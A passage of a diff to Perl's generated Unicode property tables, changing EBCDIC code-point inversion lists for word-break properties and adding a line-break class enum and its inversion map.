0x1E8D7, - 0x1E900, + 0x1E944, 0x1E94B, 0x1E950, 0x1E95A, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, + 0x1E95E, + 0x1E960, + 0x1F000, + 0x1F100, + 0x1F10D, + 0x1F110, + 0x1F12F, 0x1F130, - 0x1F14A, - 0x1F150, - 0x1F16A, + 0x1F16C, 0x1F170, - 0x1F18A, + 0x1F1AD, 0x1F1E6, 0x1F200, - 0x1F308, - 0x1F309, - 0x1F33E, - 0x1F33F, - 0x1F373, - 0x1F374, 0x1F385, 0x1F386, - 0x1F393, - 0x1F394, - 0x1F3A4, - 0x1F3A5, - 0x1F3A8, - 0x1F3A9, - 0x1F3C2, + 0x1F39C, + 0x1F39E, + 0x1F3B5, + 0x1F3B7, + 0x1F3BC, + 0x1F3BD, + 0x1F3C3, 0x1F3C5, - 0x1F3C7, - 0x1F3C8, 0x1F3CA, - 0x1F3CD, - 0x1F3EB, - 0x1F3EC, - 0x1F3ED, - 0x1F3EE, + 0x1F3CC, 0x1F3FB, 0x1F400, 0x1F442, @@ -359740,17 +73510,25 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x1F484, 0x1F485, 0x1F488, - 0x1F48B, - 0x1F48C, + 0x1F4A0, + 0x1F4A1, + 0x1F4A2, + 0x1F4A3, + 0x1F4A4, + 0x1F4A5, 0x1F4AA, 0x1F4AB, - 0x1F4BB, - 0x1F4BD, - 0x1F527, - 0x1F528, - 0x1F52C, - 0x1F52D, - 0x1F574, + 0x1F4AF, + 0x1F4B0, + 0x1F4B1, + 0x1F4B3, + 0x1F500, + 0x1F507, + 0x1F517, + 0x1F525, + 0x1F532, + 0x1F54A, + 0x1F575, 0x1F576, 0x1F57A, 0x1F57B, @@ -359758,36 +73536,53 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x1F591, 0x1F595, 0x1F597, - 0x1F5E8, - 0x1F5E9, + 0x1F5D4, + 0x1F5DC, + 0x1F5F4, + 0x1F5FA, 0x1F645, 0x1F648, 0x1F64B, 0x1F650, + 0x1F676, + 0x1F679, + 0x1F67C, 0x1F680, - 0x1F681, - 0x1F692, - 0x1F693, 0x1F6A3, 0x1F6A4, 0x1F6B4, 0x1F6B7, 0x1F6C0, 0x1F6C1, - 0x1F6CC, - 0x1F6CD, + 0x1F700, + 0x1F774, + 0x1F780, + 0x1F7D5, + 0x1F800, + 0x1F80C, + 0x1F810, + 0x1F848, + 0x1F850, + 0x1F85A, + 0x1F860, + 0x1F888, + 0x1F890, + 0x1F8AE, 0x1F918, - 0x1F91D, - 0x1F91E, - 0x1F920, + 0x1F91F, 0x1F926, 0x1F927, 0x1F930, + 0x1F931, + 0x1F933, 0x1F93A, - 0x1F93D, + 0x1F93C, 0x1F93F, - 0x1F9D1, - 0x1F9DE, + 0x1FFFE, + 0x20000, + 0x2FFFE, + 0x30000, + 0x3FFFE, 0xE0001, 0xE0002, 0xE0020, @@ -359796,46 +73591,2384 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 1047 */ 0xE01F0 }; -# endif /* EBCDIC 1047 */ +#endif /* defined(PERL_IN_PERL_C) */ + +#if defined(PERL_IN_REGEXEC_C) + +#define LB_ENUM_COUNT 39 + +typedef enum { + LB_Alphabetic = 0, + LB_Break_After = 1, + LB_Break_Before = 2, + LB_Break_Both = 3, + LB_Break_Symbols = 4, + LB_Carriage_Return = 5, + LB_Close_Parenthesis = 6, + LB_Close_Punctuation = 7, + LB_Combining_Mark = 8, + LB_Contingent_Break = 9, + LB_E_Base = 10, + LB_E_Modifier = 11, + LB_Exclamation = 12, + LB_Glue = 13, + LB_H2 = 14, + LB_H3 = 15, + LB_Hebrew_Letter = 16, + LB_Hyphen = 17, + LB_Ideographic = 18, + LB_Infix_Numeric = 19, + LB_Inseparable = 20, + LB_JL = 21, + LB_JT = 22, + LB_JV = 23, + LB_Line_Feed = 24, + LB_Mandatory_Break = 25, + LB_Next_Line = 26, + LB_Nonstarter = 27, + LB_Numeric = 28, + LB_Open_Punctuation = 29, + LB_Postfix_Numeric = 30, + LB_Prefix_Numeric = 31, + LB_Quotation = 32, + LB_Regional_Indicator = 33, + LB_Space = 34, + LB_Word_Joiner = 35, + LB_ZWJ = 36, + LB_ZWSpace = 37, + LB_EDGE = 38 +} LB_enum; + +static const LB_enum _Perl_LB_invmap[] = { /* for EBCDIC 037 */ + LB_Combining_Mark, + LB_Break_After, + LB_Combining_Mark, + LB_Mandatory_Break, + LB_Carriage_Return, + LB_Combining_Mark, + LB_Next_Line, + LB_Combining_Mark, + LB_Line_Feed, + LB_Combining_Mark, + LB_Space, + LB_Glue, + LB_Alphabetic, + LB_Postfix_Numeric, + LB_Infix_Numeric, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Prefix_Numeric, + LB_Break_After, + LB_Alphabetic, + LB_Exclamation, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Close_Parenthesis, + LB_Infix_Numeric, + LB_Alphabetic, + LB_Hyphen, + LB_Break_Symbols, + LB_Alphabetic, + LB_Infix_Numeric, + LB_Postfix_Numeric, + LB_Alphabetic, + LB_Exclamation, + LB_Alphabetic, + LB_Infix_Numeric, + LB_Alphabetic, + LB_Quotation, + LB_Alphabetic, + LB_Quotation, + LB_Alphabetic, + LB_Quotation, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Postfix_Numeric, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Parenthesis, + LB_Alphabetic, + LB_Break_Before, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_Before, + LB_Alphabetic, + LB_Break_Before, + LB_Alphabetic, + LB_Break_Before, + LB_Alphabetic, + LB_Combining_Mark, + LB_Glue, + LB_Combining_Mark, + LB_Glue, + LB_Combining_Mark, + LB_Alphabetic, + LB_Infix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Infix_Numeric, + LB_Break_After, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Exclamation, + LB_Combining_Mark, + LB_Alphabetic, + LB_Hebrew_Letter, + LB_Alphabetic, + LB_Hebrew_Letter, + LB_Alphabetic, + LB_Postfix_Numeric, + LB_Infix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Exclamation, + LB_Combining_Mark, + LB_Alphabetic, + LB_Exclamation, + LB_Alphabetic, + LB_Combining_Mark, + LB_Numeric, + LB_Postfix_Numeric, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Exclamation, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Infix_Numeric, + LB_Exclamation, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Postfix_Numeric, + LB_Alphabetic, + LB_Postfix_Numeric, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Postfix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_Before, + LB_Alphabetic, + LB_Break_Before, + LB_Glue, + LB_Break_Before, + LB_Break_After, + LB_Glue, + LB_Exclamation, + LB_Glue, + LB_Alphabetic, + LB_Exclamation, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_After, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Combining_Mark, + LB_Break_After, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_Before, + LB_Break_After, + LB_Break_Before, + LB_Alphabetic, + LB_Glue, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Numeric, + LB_Combining_Mark, + LB_Alphabetic, + LB_JL, + LB_JV, + LB_JT, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Nonstarter, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Exclamation, + LB_Break_After, + LB_Break_Before, + LB_Alphabetic, + LB_Exclamation, + LB_Alphabetic, + LB_Combining_Mark, + LB_Glue, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Exclamation, + LB_Numeric, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Numeric, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Numeric, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_Before, + LB_Alphabetic, + LB_Break_After, + LB_Glue, + LB_Break_After, + LB_ZWSpace, + LB_Combining_Mark, + LB_ZWJ, + LB_Combining_Mark, + LB_Break_After, + LB_Glue, + LB_Break_After, + LB_Break_Both, + LB_Alphabetic, + LB_Quotation, + LB_Open_Punctuation, + LB_Quotation, + LB_Open_Punctuation, + LB_Quotation, + LB_Alphabetic, + LB_Inseparable, + LB_Break_After, + LB_Mandatory_Break, + LB_Combining_Mark, + LB_Glue, + LB_Postfix_Numeric, + LB_Alphabetic, + LB_Quotation, + LB_Alphabetic, + LB_Nonstarter, + LB_Alphabetic, + LB_Infix_Numeric, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Nonstarter, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Word_Joiner, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Postfix_Numeric, + LB_Prefix_Numeric, + LB_Postfix_Numeric, + LB_Prefix_Numeric, + LB_Postfix_Numeric, + LB_Prefix_Numeric, + LB_Postfix_Numeric, + LB_Prefix_Numeric, + LB_Combining_Mark, + LB_Alphabetic, + LB_Postfix_Numeric, + LB_Alphabetic, + LB_Postfix_Numeric, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Inseparable, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_E_Base, + LB_Alphabetic, + LB_Quotation, + LB_Alphabetic, + LB_Exclamation, + LB_Ideographic, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Exclamation, + LB_Break_After, + LB_Alphabetic, + LB_Exclamation, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Quotation, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Open_Punctuation, + LB_Break_After, + LB_Alphabetic, + LB_Quotation, + LB_Alphabetic, + LB_Quotation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Break_After, + LB_Exclamation, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_Both, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Open_Punctuation, + LB_Break_After, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Break_After, + LB_Close_Punctuation, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Ideographic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Nonstarter, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Ideographic, + LB_Combining_Mark, + LB_Ideographic, + LB_Combining_Mark, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Alphabetic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Alphabetic, + LB_Combining_Mark, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Nonstarter, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Exclamation, + LB_Break_After, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Postfix_Numeric, + LB_Alphabetic, + LB_Break_Before, + LB_Exclamation, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_Before, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_JL, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + 